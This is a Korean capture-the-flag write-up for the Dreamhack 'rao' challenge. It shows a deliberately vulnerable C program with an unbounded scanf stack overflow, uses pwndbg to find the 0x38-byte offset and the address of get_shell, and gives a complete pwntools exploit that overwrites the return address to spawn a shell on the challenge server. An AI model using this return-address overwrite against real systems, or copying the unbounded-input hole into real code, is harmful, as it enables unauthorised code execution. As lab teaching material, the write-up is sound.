
먼저 문제에서 제공한 rao.c 파일을 살펴보겠습니다.
// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf);
return 0;
}
먼저 셸을 실행할 수 있는 함수인 get_shell()이 존재합니다. 따라서 execve 셸코드를 사용하지 않고 get_shell 함수를 실행하면 문제를 해결할 수 있어 보입니다. main함수를 보면 "Input: "이라는 문자열 출력 후 scanf로 입력을 받는데 문자열의 길이 제한이 없습니다. 따라서 buf의 크기는 0x28이므로 buf 뒤에 get_shell의 위치를 스택의 return에 덮어씌우면 셸을 얻을 수 있을 것 같습니다.
문제를 해결하기 위해서 알아야 할 것은 get_shell함수의 위치, 그리고 스택 프레임의 구조입니다.
pwndbg를 통해 rao를 실행해 보겠습니다.

scanf는 printf 뒤에 나오고 <main+30>이 printf를 call하는 부분이므로 바로 이후가 scanf 부분임을 알 수 있습니다. <main+35>를 보면 lea rax, [rbp - 0x30] 이라는 코드가 있고 이를 통해 buf의 크기가 0x30이라는 사실을 알 수 있습니다. buf 밑에 8바이트만큼의 SFP가 존재하므로 return address까지의 거리는 0x38임을 알 수 있고, 이를 더미 데이터로 채운 후 get_shell의 위치를 붙여서 전송하면 scanf 실행 후 get_shell이 실행될 것입니다.
get_shell의 위치는 pwndbg에서 print get_shell을 통해 알 수 있습니다.

get_shell의 위치는 0x4006aa이고 이를 리틀 엔디안으로 변환하면 \xaa\x06\x40입니다. return address는 8 바이트 이므로 나머지 공간을 널 바이트로 채우면 \xaa\x06\x40\x00\x00\x00\x00\x00이 됩니다.
앞에서 구했듯이 buf에서부터 return address까지의 거리는 0x38바이트 이므로 이만큼을 더미 데이터로 채우고 get_shell의 위치를 붙이고 전송하면 됩니다.
아래는 완성한 코드입니다.
from pwn import *
p = remote("host1.dreamhack.games", 14083)
payload = (b'A' * 0x38 + b'\xaa\x06\x40\x00\x00\x00\x00\x00')
p.sendlineafter("Input: ", payload)
p.interactive()
코드를 실행하면 성공적으로 셸을 얻을 수 있습니다.
